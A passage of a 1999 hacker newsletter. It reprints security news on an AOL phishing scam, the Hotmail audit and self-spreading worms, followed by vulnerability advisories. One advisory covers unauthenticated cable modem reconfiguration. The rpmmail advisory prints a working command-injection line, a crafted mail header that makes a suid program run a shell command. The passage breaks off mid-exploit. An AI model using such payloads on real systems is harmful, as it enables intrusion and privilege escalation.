a free month of AOL. "Whoever stole my password sent out about 7,000 emails one evening," Walter said. Although the spammers' Web sites have been taken down, the Spam Recycling Center is advising AOL users to not respond to emails with the subjects "AOL giving FREE INTERNET ACCESS!" and "AOL Christmas Special." The email Walter and others responded to stated: "AOL apologizes for this inconvenience, and we do assure better and faster service for each and everyone [sic] of our members. As a result of this, the staff at AOL is proud to announce that during our short update on your account, members who submit their information promptly will receive one month [of] FREE Internet Access!" To play it safe, users should never respond to unsolicited bulk email or give out their passwords, according to AOL and the Spam Recycling Center. "That should cause a red flag," AOL's D'Amato said. @HWA 55.0 MS: IT'S NOT OUR FAULT, THE HACKERS DID IT ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Help Net Security http://www.net-security.org/ by Thejian, Wednesday 6th October 1999 on 11:50 am CET "Unfortunately, malicious hackers target all technology platforms, but we believe this effort will help ensure that we have the right security controls in place to protect customers of Hotmail." That was the message from Redmond, Washington Monday as Microsoft, along with industry self-regulatory watchdog Truste, revealed the findings of an independent audit of Hotmail. In pronouncing the email service sound, Microsoft shifted the blame for Hotmail's massive August security leak from its own security measures to malicious hackers. More http://www.wired.com/news/news/technology/story/22094.html MS Fingers Hotmail Hackers by Chris Oakes 1:45 p.m. 5.Oct.99.PDT Hacking happens. That was the message from Redmond, Washington Monday as Microsoft, along with industry self-regulatory watchdog Truste, revealed the findings of an independent audit of Hotmail. In pronouncing the email service sound, Microsoft shifted the blame for Hotmail's massive security leak from its own security measures to malicious hackers. The August incident, the worst Web security meltdown in history, left every one of Hotmail's 50 million email accounts exposed to anyone with access to a Web browser. "Hotmail maintains the very high standards we place on consumer privacy and security," said Richard Purcell, Microsoft's data practices director. "Unfortunately, malicious hackers target all technology platforms, but we believe this effort will help ensure that we have the right security controls in place to protect customers of Hotmail." The audit, conducted by an unnamed "big five" accounting firm, pronounced Microsoft's repair work effective and said that it showed Redmond to be in compliance with the Truste licensing agreement, according to Richard Purcell, Microsoft's data practices director. He said the report makes it clear that all is well with Hotmail. "Our quick response and third-party review are evidence of not only Microsoft's committment to protecting online privacy, but also to Truste in their dispute resolution process." Truste is an industry-sponsored nonprofit organization meant to assure compliance with certain Web privacy standards in lieu of government regulation. A group calling itself "Hackers Unite" discovered the Hotmail hole in August. The group then publicized the hole, which was evidently a blunder in Microsoft's server administration. They said through a spokesman that they wanted to draw attention to what they said was Microsoft's spotty security record. Microsoft did not reveal technical details of either the audit or the problem. The patch ostensibly nailed the hole shut and the company said it also put new quality-control procedures in place to prevent future problems. Truste executive director Bob Lewin said its watchdog complaint system -- in which consumers lodge complaints about privacy problems they experience on the Web -- worked seamlessly to "ensure that indeed the problem was fixed." But only time will tell how solid the fix really is. Web servers are by nature leaky boats that must constantly be patched if they are to remain secure and afloat. When Microsoft announced it would open itself to the audit, critics welcomed the decision. But independent watchdogs said if the company was really committed to strong self-regulation, it should have done the same in response to a severe privacy problem discovered last March. In that incident, Microsoft admitted to collecting special identification numbers from users' PCs during the Windows registration process. At the time, the company promised it was not using the unique identifiers to track Web visitors. It said it would discontinue the collection practice and promised to purge any questionable data from company databases. But if any situation called for an independent audit, that one did, observers complained. Microsoft's Purcell explained what he called a simple difference between the two incidents and the company's response: In contrast to the Hotmail problem, the Windows registration issue was not raised in a specific consumer complaint. "It was not a security breach that was reported through the watchdog process at all," Purcell said. "The hardware ID issue was never used, so there was no claim against it." In other words, a hole has to be exploited before Microsoft will consent to an independent review. "When it comes to a point where we need to convice a partner such as Truste or a wider audience to the veracity of the resolution we put in place, then it's up to us as to what kind of independent review that we would conduct," Purcell said. To privacy advocate Jason Catlett, CEO of Junkbusters, that's an inconsistent policy. "It's a prime example of Microsoft's instinctual treatment of security as a PR issue to be ignored until it requires emergency spin surgery," he said. "They had a chance to show their confidence in their technology by commissioning an audit to be published, and they fled." Besides, Catlett asked of the March incident, "how do we know there was no security breach?" "Self-regulation is the business-class of regulation: It's much more expensive, but so much more convenient." MS Fingers Hotmail Hackers by Chris Oakes 1:45 p.m. 5.Oct.99.PDT Hacking happens. That was the message from Redmond, Washington Monday as Microsoft, along with industry self-regulatory watchdog Truste, revealed the findings of an independent audit of Hotmail. In pronouncing the email service sound, Microsoft shifted the blame for Hotmail's massive security leak from its own security measures to malicious hackers. The August incident, the worst Web security meltdown in history, left every one of Hotmail's 50 million email accounts exposed to anyone with access to a Web browser. "Hotmail maintains the very high standards we place on consumer privacy and security," said Richard Purcell, Microsoft's data practices director. "Unfortunately, malicious hackers target all technology platforms, but we believe this effort will help ensure that we have the right security controls in place to protect customers of Hotmail." The audit, conducted by an unnamed "big five" accounting firm, pronounced Microsoft's repair work effective and said that it showed Redmond to be in compliance with the Truste licensing agreement, according to Richard Purcell, Microsoft's data practices director. He said the report makes it clear that all is well with Hotmail. "Our quick response and third-party review are evidence of not only Microsoft's committment to protecting online privacy, but also to Truste in their dispute resolution process." Truste is an industry-sponsored nonprofit organization meant to assure compliance with certain Web privacy standards in lieu of government regulation. A group calling itself "Hackers Unite" discovered the Hotmail hole in August. The group then publicized the hole, which was evidently a blunder in Microsoft's server administration. They said through a spokesman that they wanted to draw attention to what they said was Microsoft's spotty security record. Microsoft did not reveal technical details of either the audit or the problem. The patch ostensibly nailed the hole shut and the company said it also put new quality-control procedures in place to prevent future problems. Truste executive director Bob Lewin said its watchdog complaint system -- in which consumers lodge complaints about privacy problems they experience on the Web -- worked seamlessly to "ensure that indeed the problem was fixed." But only time will tell how solid the fix really is. Web servers are by nature leaky boats that must constantly be patched if they are to remain secure and afloat. When Microsoft announced it would open itself to the audit, critics welcomed the decision. But independent watchdogs said if the company was really committed to strong self-regulation, it should have done the same in response to a severe privacy problem discovered last March. In that incident, Microsoft admitted to collecting special identification numbers from users' PCs during the Windows registration process. At the time, the company promised it was not using the unique identifiers to track Web visitors. It said it would discontinue the collection practice and promised to purge any questionable data from company databases. But if any situation called for an independent audit, that one did, observers complained. Microsoft's Purcell explained what he called a simple difference between the two incidents and the company's response: In contrast to the Hotmail problem, the Windows registration issue was not raised in a specific consumer complaint. "It was not a security breach that was reported through the watchdog process at all," Purcell said. "The hardware ID issue was never used, so there was no claim against it." In other words, a hole has to be exploited before Microsoft will consent to an independent review. "When it comes to a point where we need to convice a partner such as Truste or a wider audience to the veracity of the resolution we put in place, then it's up to us as to what kind of independent review that we would conduct," Purcell said. To privacy advocate Jason Catlett, CEO of Junkbusters, that's an inconsistent policy. "It's a prime example of Microsoft's instinctual treatment of security as a PR issue to be ignored until it requires emergency spin surgery," he said. "They had a chance to show their confidence in their technology by commissioning an audit to be published, and they fled." Besides, Catlett asked of the March incident, "how do we know there was no security breach?" "Self-regulation is the business-class of regulation: It's much more expensive, but so much more convenient." @HWA 56.0 INDUSTRY BACKING AUSSIE CENSORSHIP LAW? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Help Net Security http://www.net-security.org/ by Thejian, Tuesday 5th October 1999 on 7:20 pm CET Remember the Australian online content regulation law which passed last June? Senator Alston, the Australian Minister of Communications, has been looking to convince people that the industry itself supports the plan. In a speech, given on September 30, he recalls a conversation with Jeff Papows, CEO of Lotus, and claims Papows voiced support for the plan. Alston also claims support from Yahoo. Yahoo denies this, but Lotus has not, and had no comment at press time. Slashdot.org http://slashdot.org/articles/99/10/04/0854249.shtml Posted by jamie on Monday October 04, @04:50PM EDT from the speak-for-yourself dept. According to an Australian official, the CEO of Lotus Development Corporation believes: Industry has no issue with online content regulation. The industry endorses content regulation. The context is Australia's new system of dumbing the net down for children; here, the words "content regulation" mean simply: "censorship." An excerpt follows. Senator Alston, Australia's Minister for Communications, is still working to sell Australia's censorship law, which was passed in June and takes effect on January 1st. Essentially the entire continent's internet will be rated like movies, with teeth. Unless something is done before January - which looks unlikely - it will be the worst trampling of net liberties by a Western democratic nation. One of the compelling arguments against Australia's plan is that it will slow or halt the technology industry - halting progress means losing venture capital and slowing an entire nation's economy; nobody wants that. So Senator Alston has been looking for evidence to the contrary, and in particular he hopes to convince people that the industry itself supports the plan. In the excerpted speech below, given on September 30, he recalls a conversation with Jeff Papows, CEO of Lotus, and claims Papows voiced support for the plan. (Note that Alston also claims support from Yahoo. Yahoo denies this, but Lotus has not, and had no comment at press time). The industry itself accepts that there should be these codes of practice and this form of regulation. We have been trying to negotiate it for the last three years with the Internet Industry Association. Their problem is that there are these maniacs - these electronic frontiers outfits - running around stirring up trouble, using quaint expressions and feeding lines to that woman from the Civil Liberties Union [Nadine Strossen] who then gets out there, gets a good run and says that we are global village idiots. This is just a low-grade political campaign. I do not find industry opposing this approach. I was fascinated when I was in Silicon Valley about two months ago. I waited for industry to raise it, because it was at the height of the furore. It was just after the legislation had gone through and I was doing the rounds of all the IT companies in the valley. I waited for them to raise it with me. The only people who ever raised it with me were journalists who were saying, 'Isn't this a big problem?' I replied, 'Why it is a big problem?' They said, 'It is because it is getting media coverage. It is coming out of Australia. Your Senator Lundy is faxing the New York Times and saying, "Isn't it disgraceful?" and Electronic Frontiers Australia is calling for the minister's resignation. Isn't this an issue?' It is an issue for the media, because it is new, exciting and a lot of fun, but it was not an issue for the industry. The only people who raised it with me on that visit were Yahoo who thought it was a good idea. I recently saw the president and CEO of Lotus, which is a major player. He was out visiting Australia. Again, I waited for him to raise it with me and he did not. Over the years I have seen a lot of these people and none of them have ever raised it. I thought I might as well ask him what he thinks. His answer was, 'Industry has no issue with online content regulation. The industry endorses content regulation.' In other words, all of the responsible players - and most of these people have kids of their own - do not for a moment want to see the anarchy that is prevailing at the moment. Lotus' support for this plan comes as a surprise to those who remember that the company was founded by Mitch Kapor, later a co-founder of the Electronic Frontier Foundation. @HWA 57.0 CYBERCROOKS BREACHING THE BORDERS OF CYBERSPACE ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Help Net Security http://www.net-security.org/ by Thejian, Tuesday 5th October 1999 on 7:10 pm CET Another story on digital piracy: "From computer geeks and pornographers to Russian mafia and Asian crime triads, cybercrooks are uploading and downloading stolen, counterfeit, and contraband goods on the Internet, law enforcement and security sources said. And the criminal possibilities will only get bigger as technology improves, with better quality and smaller recordable CDs and sharper Internet video, sofficials say." Full story http://www.techweb.com/wire/story/reuters/REU19991005S0004 Cybercrooks Breach Borders Of Cyberspace (10/05/99, 12:46 p.m. ET) By Reuters From computer geeks and pornographers to Russian mafia and Asian crime triads, cybercrooks are uploading and downloading stolen, counterfeit, and contraband goods on the Internet, law enforcement and security sources said. Unlike the days when rum runners and drug smugglers risked life and limb to move illicit merchandise by land, sea, and air, thieves who steal computer software, music, videos, and other digitized intellectual property can move it across national frontiers without leaving the comfort of their desks. Hailed as a powerful boon to global trade, the Internet is proving a bane to police trying to prevent criminal masterminds from trafficking stolen goods across the unguarded borders ofcyberspace, law enforcement experts said. "I think it's going to dwarf every type of crime in the next millennium," said assistant U.S. customs commissioner Bonni Tischler at an international symposium for customs officials last week. "They're going to have to figure out how to control the Internet." Gone are the days when Cold War spies swapped an attache case or Manila envelope in a clandestine rendezvous on a speeding train or smuggled microdots secreted in their dental fillings. Purloined papers, terrorist manifestoes, and pornographic pictures are now dispatched with a keystroke. U.S. companies have estimated they lose $200 billion a year to product piracy; from the theft of trademarked goods such as designer clothing, shoes, and handbags to illegally duplicated software programs, CDs, and videos, U.S. agents said. The global software industry lost $11 billion to piracy in 1998, with an estimated 38 percent of 615 million new business software applications installed worldwide pirated, the Software and Information Industry Association trade group said. SIIA estimates 97 percent of business software applications used in Vietnam in 1998 were pirated. China, Oman, Lebanon, Russia, Indonesia, and Bulgaria all had rates above 90 percent. A survey by SIIA in August estimated that 60 percent of the software being auctioned online was illegitimate -- some of it on Internet auction giant eBay, as well as on ZDNet and Excite. U.S. law enforcement officials conceded no one knows how much stolen intellectual property moves over the Internet, but they believe the numbers are staggering -- and growing. "I don't think any of us can define how big the Internet can get, so the crimes that go along with it and the fraud perpetrated by it are infinitesimal," said D.C. Page, managing director of security company Kroll Associates. For intellectual property, the Internet is the perfect criminal arena because it creates huge jurisdictional loopholes for police and prosecutors, agents and security experts said. "You can see a fraud being perpetrated between the United States and Brazil where the actual perpetrators are in Amsterdam," Page said. "How is that ever going to be prosecuted by any one of those three governments? There are evidentiary issues, there are witnesses, there are legal issues. "A lot of times these guys are going to set up house in a jurisdiction that is going to be favorable to them. We've found people actually put their server in the country where they're best protected." In addition to being used to ship stolen property, the Internet can be used to elude authorities in other ways. If police are closing in on a factory making fake trademarked goods -- say Gucci bags -- in South Korea, the operator can quickly shut his factory and ship the digitized trademarks via Internet to a new clandestine plant in China. Internet white collar crime is so easy that mobsters in Asia and in former Soviet bloc countries are using it to finance other enterprises, customs officials said. "We find that the Asian triads have been using the sale of pirated merchandise to finance their more violent crimes," said Mark Robinson, U.S. customs director of fraud investigations. Former Soviet bloc countries are hotbeds of Internet crime, officials said. Computer mavens make use of chaotic politics and lax enforcement to run lucrative smuggling operations. Law enforcement officials said intellectual property makers, from software companies such as Microsoft to music producers such as Sony, must build antitheft devices into their goods. "The whole issue is how to keep people from downloading over the Internet," Tischler said. Yet the concept of making it tougher to download products runs counter to the visions of many companies to sell and move products in cyberspace, particularly music that can be downloaded onto recordable CDs from websites. And the criminal possibilities will only get bigger as technology improves, with better quality and smaller recordable CDs and sharper Internet video, officials said. Customs officials said judicial systems lag behind exploding crime on the Internet. Cybercrime is difficult for juries to visualize, penalties are small, and the risk of jail is minimal in comparison to crimes such as armed robbery. "The law is so far behind the Internet," Page said. Mike Flynn, SIIA manager of Internet and international antipiracy, said cybercrooks quickly find ways to circumvent technological security devices. "It's really about changing the mindset of people to make them more respectful of intellectual property rights," he said. "There are always going to be people who will insist on breaking the law." Copyright 1999 Reuters Limited. All rights reserved. Republication or redistribution of Reuters content, including by framing or similar means, is expressly prohibited without the prior written consent of Reuters. Reuters shall be not be liable for any errors or delays in the content, or for any actions taken in reliance thereon. @HWA 58.0 NUKING THE HACKERS? ~~~~~~~~~~~~~~~~~~~ From Help Net Security http://www.net-security.org/ by Thejian, Tuesday 5th October 1999 on 6:50 pm CET While the high-tech industry celebrates an information economy heading ever more towards richer rewards, a congressionally mandated panel today told the House Armed Services Committee that rogue individuals and nation-states could use that technology to cause "carnage" on "American soil." The US Commission on National Security/21st century specifically advocated a "robust nuclear deterrent" to battle nuclear, chemical, biological, and information-based aggression in its report to the Committee. Newsbytes.com http://www.newsbytes.com/pubNews/99/137313.html Use Nukes To Battle Info Attack - Hart-Rudman By Robert MacMillan, Newsbytes WASHINGTON, DC, U.S.A., 05 Oct 1999, 11:27 AM CST While the high-tech industry celebrates an information economy heading ever more towards richer rewards, a congressionally mandated panel today told the House Armed Services Committee that rogue individuals and nation-states could use that technology to cause "carnage" on "American soil." The US Commission on National Security/21st century specifically advocated a "robust nuclear deterrent" to battle nuclear, chemical, biological, and information-based aggression in its report to the Committee. While not naming specific technologies, the report seemed to indicate a strong resistance to the mass-market availability of strong encryption products, something the Clinton administration now officially supports, though regulations have not yet been issued. Former Sen. Gary Hart - who is a member of the Hart-Rudman Commission along with Warren Rudman, Norman Augustine, Andrew Young, former House Speaker Newt Gingrich and others - told the committee that the technology revolution, coupled with international trade, has resulted in conclusions about the new world order that "are not particularly comforting." "Governments or groups hostile to the United States...will gain access to advanced technologies," the first phase of the commission's report states. "They will seek to counter US military advantages through the possession of these technologies and their actual use in non-traditional attacks." The commission's report represents the so-called "phase one" of its activity, according to Armed Services Committee Chairman Floyd Spence, R-S.C., who is known as one of the opponents of Rep. Robert Goodlatte's, R-Va., Security and Freedom Through Encryption (SAFE) Act. Phase One represents a world-view on national security between now and 2025. Phase Two, due by April, 2000, calls for the development of a big-picture US national strategy model, while Phase Three, due in winter, 2001, would "carefully analyze the US national security system, and propose changes to it as deemed necessary..." Spence also advocated government development of new technologies to battle foreign threats. "It is no secret that I believe additional defense resources will be required to successfully avoid (an attack on America)," Spence said. "In my view, this includes developing new technologies to defend against growing threats where no effective defense exists today - missile defense, for example." Relying on a healthy element of fear in the report, Hart and Rudman made a number of predictions. - "States, terrorists and other disaffected groups will acquire weapons of mass destruction and mass disruption. Americans will likely die on American soil, possibly in large numbers." - "An anti-technology backlash is possible, and even likely, as the adoption of emerging technologies creates new moral, cultural and economic diversions." - "Overall global economic growth will continue, albeit unevenly. Serious and unexpected economic downturns, major disparities of wealth, volatile capital flows, increasing vulnerabilities in global electronic infrastructures...will also occur." - "Global connectivity will allow 'big ideas' to spread quickly around the globe. Whatever their content, the stage will be set for mass action to have social impact beyond the borders and control of existing political structures." - "Micro-sensors and electronic communications will continue to expand intelligence collection capabilities around the world. As a result of the proliferation of other technologies, however, many countries and disaffected groups will develop techniques of denial and deception in attempts to thwart US intelligence efforts - despite US technological superiority." Reported by Newsbytes.com, http://www.newsbytes.com . 11:27 CST Reposted 16:18 CST @HWA 59.0 BATTLING THE VIRUSES OF THE FUTURE ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Help Net Security http://www.net-security.org/ by Thejian, Tuesday 5th October 1999 on 6:20 pm CET Since the creation of computer viruses in the mid-1980s, thousands of them have come and gone, most dying before causing any damage. But three strains of these fast-moving viruses infected computers worldwide earlier this year and two more surfaced last month. "We're at a turning point in the history of viruses," said Steve R. White, head of anti-virus research at IBM's Thomas J. Watson Research Center. "They have automated the process of spreading so that it doesn't depend on you or me anymore. Now all the old methods of dealing with viruses just won't work." So now what? Read more http://www.latimes.com/business/19991004/t000089107.htmls Computer World Battles Faster-Moving Viruses Technology: Researchers are building systems to find cures and quickly inoculate against self-propagating infections. By ASHLEY DUNN, Times Staff Writer A new generation of self-spreading computer viruses has researchers worried that the days of slow-moving, low-level infections are over. Since the creation of computer viruses in the mid-1980s, thousands of them have come and gone, most dying before causing any damage. But three strains of these fast-moving viruses infected computers worldwide earlier this year and two more surfaced last month. The first was a virus from France called Happy99. It became one of the most widespread diseases to afflict home computers. In March, the Melissa virus struck, spreading faster and wider than any virus in the past. Then three months ago, a plague known as ExploreZip appeared, again propagating itself over the Internet with unusual speed. In September, two new viruses surfaced. Cholera is an infection similar to Happy99, Melissa and ExploreZip, and two weeks ago anti-virus software maker Network Associates put out an alert on a virus called Suppl that belongs in the same class. Each of the infections used a different technique, but what tied them together was not only their ability to replicate themselves, a traditional feature of computer viruses, but also to spread on their own--a new twist that allowed them to cover the globe in a matter of days. "We're at a turning point in the history of viruses," said Steve R. White, head of anti-virus research at IBM's Thomas J. Watson Research Center. "They have automated the process of spreading so that it doesn't depend on you or me anymore. Now all the old methods of dealing with viruses just won't work." Anti-virus programs have so far contained the new infections. Researchers at IBM and anti-virus software maker Symantec are working on the next generation of countermeasures, which involve fighting the automated viruses with automated defense systems that can find a cure and inoculate computers in a matter of hours. But the unexpected success of self-propagating viruses points to the increasing fragility of an interconnected world. Anti-virus companies concede they have fallen behind in the seesawing battle over the health of the digital cosmos. "The goal is to be faster at coming up with a fix than the virus is at spreading itself," said Carey Nachenberg of the Symantec AntiVirus Research Center. "We're not faster than Melissa, but in two years we will be." For all the fears of computer viruses, the traditional strains move at a snail's pace compared with the speed of modern communications. It can take weeks or even years for some viruses to move any appreciable distance--and by that time the anti-virus forces have long since created a cure. Those that manage to spread typically depend on the most old-fashioned of methods--having a human being send them to a computer using e-mail or the even lower-tech method of transferring a diskette. Now consider Melissa's method. The virus was attached to Microsoft Word documents and sent via e-mail to unsuspecting computer users. When the document was opened, the virus would spread to a part of the Word program, ensuring that any new document would also be infected. Melissa's extra twist was a feature that made it grab the first 50 entries in the user's e-mail address book and send them a copy of the infected document. The process repeated itself on the next group of computers. The result of this exponential growth was impressive. One organization reported that the virus generated up to half a million e-mail messages in under three hours. "There's no doubt Melissa was a major change," said Richard Jacobs, president of Sophos Inc., an anti-virus software maker. "People used to over-report viruses, but this year Melissa was a much greater problem than anyone expected." These recent viruses fall into a special category known as "worms," a name that was taken from a 1975 science-fiction story in which a program called a "tapeworm" was used to bring down the computer system of a totalitarian government. Worms, which were created in the early 1980s at Xerox's Palo Alto Research Center, are programs that can reproduce and execute instructions on their own. They are, in essence, self-propagating viruses aimed at spreading over networks. Xerox invented worms to help maintain large computer networks, such as sensing idle computers so they could be put to use on problems that needed more processing power. But even in those early days, the destructive ability of worms was apparent. Through a glitch, one of Xerox's worms spun out of control and brought down all 100 computers connected to the network. There has been only one or two major worm attacks before this year. The most notorious was a 1988 outbreak of the Morris Worm. Created by Robert Morris Jr., the worm burrowed through several security weaknesses in networks using the Unix operating system and, once inside, scanned for addresses of other computers and dispatched copies of itself. The Morris Worm was able to propagate with frightening speed, shutting down about 10% of the computers connected to the Internet, according to CERT Coordination Center, an Internet security clearinghouse created specifically because of the damage caused by that first worm. Nachenberg of Symantec believes that the reemergence of worms with Happy99's arrival in January stems from a convergence of forces that has been brewing for years, creating a digital ecology that favors fast-moving infections. As recently as a decade ago, the computing world was a hodgepodge of machines, most of which were not connected to one another. Today, almost all personal computers use Microsoft's Windows software and Intel microprocessors. As with biological viruses, the millions of identical hosts have made transmission easier. A key piece that has fallen into place only in the last four years was the introduction of Windows 95, which brought a set of powerful tools that viruses could use to manipulate the computer through common programs such as Word and Excel. The last piece of the puzzle was the growth of the Internet, which linked millions of computers together, giving viruses an easy path to spread. The three conditions have enabled viruses to move quickly--a key factor because of the widespread use of anti-virus software programs, which can update themselves on a daily basis. "Homogeneity, connectivity, programmability," Nachenberg said. "Everything is ripe to be attacked. What is preventing them is law enforcement and whatever ethics are left in the world." The most recent worms are not as autonomous as the Morris Worm. They still have depended on humans to activate them by opening the infected files sent via e-mail. But anti-virus experts believe the time is coming when the fully autonomous worm could make a comeback. IBM's White said the only viable solution to the worm problem is to move faster than the worms by fully automating the virus-fighting process. IBM has been developing a virtual immune system since the early 1990s that is aimed at automatically detecting viruses, analyzing them and creating a cure that can be sent out to all of its customers--in essence, immunizing them--in a matter of hours. Symantec is using a piece of the system to detect and analyze so-called "macro" viruses, which attach to programs such as Word and Excel. Melissa, in addition to being a worm, is a macro virus. When a virus is detected with IBM's system, it is sent in encrypted form over the Internet to a central computer, where it is decrypted and placed in a kind of virtual petri dish. The dish is a full simulation of a working computer that takes place inside a large IBM computer. White said that IBM is working on simulating not just a single computer, but whole networks of computers so it can analyze more complex viruses not in hours or days, but possibly minutes. Much of the system should be in place next year. But even with these techniques, he conceded that they can only contain viruses and could be overwhelmed if the number of worms increased to an unmanageable level. "There is no perfect solution," Symantec's Nachenberg said. "Our strategies at best are reactive." * * * Electronic Epidemic The number of viruses has increased substantially over the past few years. More important, a new type of virus has appeared. Called "worms," these viruses are created to spread automatically. They account for a minuscule portion of the total number of viruses, but because they spread so quickly they account for a large percentage of the infections. Number of Viruses (In thousands) 1999: 44,600 year to date 1989: 250 * * * Infection Rate (Per 1,000 PCs each month) 1999: 88 year to date Source: Sophos Inc., ICSA Computer Virus Prevalence Survey: 1999 When the Worm Turns A few basic rules can go a long way toward protecting your computer from viral infections. * Regularly use anti-virus software and set it to automatically scan the computer and all incoming files. Don't forget to schedule your anti-virus program to update itself with new inoculations from the maker's Web site. * Do not open e-mail attachments unless you know the sender and know what the attachment contains. * Do not download programs from the Web or load programs from disks unless you trust the source. Online Sources for Help A variety of free anti-virus scanners are available on the Internet. To keep up with the latest computer virus news and to check your computer with free virus-scanning programs, visit these sites: * McAfee Anti-Virus Center http://www.mcafee.com/centers/anti-virus * Symantec Anti-Virus Research Center http://www.symantec.com/avcenter * CERT Coordination Center Security Alerts http://www.cert.org/nav/alerts.html Search the archives of the Los Angeles Times for similar stories about: Personal Computers, Computer Software, Computer Crime, Viruses. You will not be charged to look for stories, only to retrieve one. @HWA 60.0 Advisory:Hybrid Network's Cable Modems ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ KSR[T] Security Advisories http://www.ksrt.org Contact Account: ksrt@ksrt.org Advisory Subscription: Send an empty message to: ksrt-advisories-subscribe@ksrt.org ---- KSR[T] Advisory #012 Date: Oct. 6 1999 ID #: hybr-hsmp-012 Affected Program: Hybrid Network's Cable Modems Author: David Goldsmith Summary: Remote attackers can anonymously reconfigure any Hybrid Network's cable modem that is running HSMP. This can be used to steal information and login/password pairs from cable modem users. Problem Description: Hybrid Network's cable modems can be configured via a UDP based protocol called HSMP. This protocol does not require any authentication to perform configuration requests. Since UDP is easily spoofed, configuration changes can made anonymously. Compromise: There are a plethora of denial of services attacks involving bad configuration settings (ethernet interfaces set to non-routable IP addresses, et al). HSMP can also be used to configure the DNS servers used by cable modem users, allowing attackers to redirect cable modem subscribers to a trojan site. More complex and theoretical attacks could involve the running of actual code through the debugging interface. This might allow remote attackers to deploy ethernet sniffers on the cable modem. Notes: KSR[T] found this vulnerability in parallel with Paul S. Cosis and the l0pht. We would like to thank them for their input to this advisory. Patch/Fix: Cable providers should block out HSMP traffic (7777/udp) on their firewalls. Links: KSR[T] had initially written a demonstration HSMP client which is located at: http://www.ksrt.org/ksrt-hsmp.tar.gz There is also another HSMP client located at: http://www.larsshack.org/sw/ccm/ l0pht modified the above client and added the ability to spoof the source address, allowing for the anonymous reconfiguration of Hybrid cable modems). Their client is located at: http://c0re.l0pht.com/~sili/ccm-spoof.tar.gz KSR[T] Security Advisories http://www.ksrt.org Contact Account: ksrt@ksrt.org Advisory Subscription: Send an empty message to: ksrt-advisories-subscribe@ksrt.org ---- KSR[T] Advisory #012 Date: Oct. 6 1999 ID #: hybr-hsmp-012 Affected Program: Hybrid Network's Cable Modems Author: David Goldsmith Summary: Remote attackers can anonymously reconfigure any Hybrid Network's cable modem that is running HSMP. This can be used to steal information and login/password pairs from cable modem users. Problem Description: Hybrid Network's cable modems can be configured via a UDP based protocol called HSMP. This protocol does not require any authentication to perform configuration requests. Since UDP is easily spoofed, configuration changes can made anonymously. Compromise: There are a plethora of denial of services attacks involving bad configuration settings (ethernet interfaces set to non-routable IP addresses, et al). HSMP can also be used to configure the DNS servers used by cable modem users, allowing attackers to redirect cable modem subscribers to a trojan site. More complex and theoretical attacks could involve the running of actual code through the debugging interface. This might allow remote attackers to deploy ethernet sniffers on the cable modem. Notes: KSR[T] found this vulnerability in parallel with Paul S. Cosis and the l0pht. We would like to thank them for their input to this advisory. Patch/Fix: Cable providers should block out HSMP traffic (7777/udp) on their firewalls. Links: KSR[T] had initially written a demonstration HSMP client which is located at: http://www.ksrt.org/ksrt-hsmp.tar.gz There is also another HSMP client located at: http://www.larsshack.org/sw/ccm/ l0pht modified the above client and added the ability to spoof the source address, allowing for the anonymous reconfiguration of Hybrid cable modems). Their client is located at: http://c0re.l0pht.com/~sili/ccm-spoof.tar.gz @HWA 61.0 Faulty software:Omni-NFS/X Enterprise version 6.1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Faulty software --------------- Omni-NFS/X Enterprise version 6.1 Product --------- Omni-NFS/X Enterprise is a X, NFS server solution for win32 systems. It is written by XLink Technology ( http://www.xlink.com ) . Vulnerability ------------- The nfs daemon ( nfsd.exe ) used by Omni-NFS/X will jump to 100% cpu usage if you scan it using nmap with ether the -O (OS detect ) or the -sS ( TCP SYN (half open) ) . Example : (zorkeres@rh-mindlab)(Omni-X)(06/10/99) (1007) $ nmap -O -p 111 slacky Starting nmap V. 2.3BETA5 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/) Interesting ports on slacky (192.168.1.2): Port State Protocol Service 111 open tcp sunrpc TCP Sequence Prediction: Class=trivial time dependency Difficulty=2 (Trivial joke) Remote operating system guess: Windows NT4 / Win95 / Win98 Nmap run completed -- 1 IP address (1 host up) scanned in 1 second (zorkeres@rh-mindlab)(Omni-X)(06/10/99) (1008) $ This was tested on Microsoft Windows NT 4.0 Workstation with SP5 . I'm preaty sure all their NFS solutions are affected by this. ------------------------------------------------ Sacha Faust sfaust@isi-mtl.com "He who despairs of the human condition is a coward, but he who has hope for it is a fool. " - Albert Camus @HWA 62.0 A vulnerability exists in the rpmmail package distributed on the Red Hat 6. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greetings, A vulnerability exists in the rpmmail package distributed on the Red Hat 6.0 Extra Applications CD. The potential compromise for this bug could be remote or local root or simply remote command execution as "nobody" or similar, depending on your system configuration. By sending a carefully crafted mail message to rpmmail@vulnerablehost, you can get /home/rpmmail/rpmmail (suid root by default, exec'd by .forward remotely) to system(3) any command you wish. The command executed does not necessarily have root privs because of bash's handling of euid != uid of caller. Although system(3) calls /bin/sh -c, it is linked by default (can anyone verify these?) on some Linux systems, such as SuSE 6.2, to /bin/bash v2. From the system(3) man page: system() will not, in fact, work properly from programs with suid or sgid privileges on systems on which /bin/sh is bash version 2, since bash 2 drops privileges on startup. (Debian uses a modified bash which does not do this when invoked as sh.) Thus some systems with rpmmail installed are vulnerable to local/remote root, all others to remote command execution as an unpriv'd user. The local exploit as follows: /bin/sh is linked to /bin/bash (default SuSE 6.2 behavior: bash-2.03$ ls -la /bin/sh lrwxrwxrwx 1 root root 9 Oct 5 11:27 /bin/sh -> /bin/bash bash-2.03$ cat /etc/SuSE-release;uname -a;id SuSE Linux 6.2 (i386) VERSION = 6.2 Linux fear62 2.2.10 #1 Tue Jul 20 16:32:24 MEST 1999 i686 unknown uid=100(xnec) gid=100(users) groups=100(users) bash-2.03$ echo "From: ;/usr/bin/id;" | /home/rpmmail/rpmmail -c bah Could not open config file! sh: Y: command not found uid=100(xnec) gid=100(users) groups=100(users) Could not open acknowledge file! bash-2.03$ ---- After linking /bin/sh to /bin/ksh instead: bash-2.03$ ls -la /bin/sh lrwxrwxrwx 1 root root 8 Oct 5 11:09 /bin/sh -> /bin/ksh bash-2.03$ cat 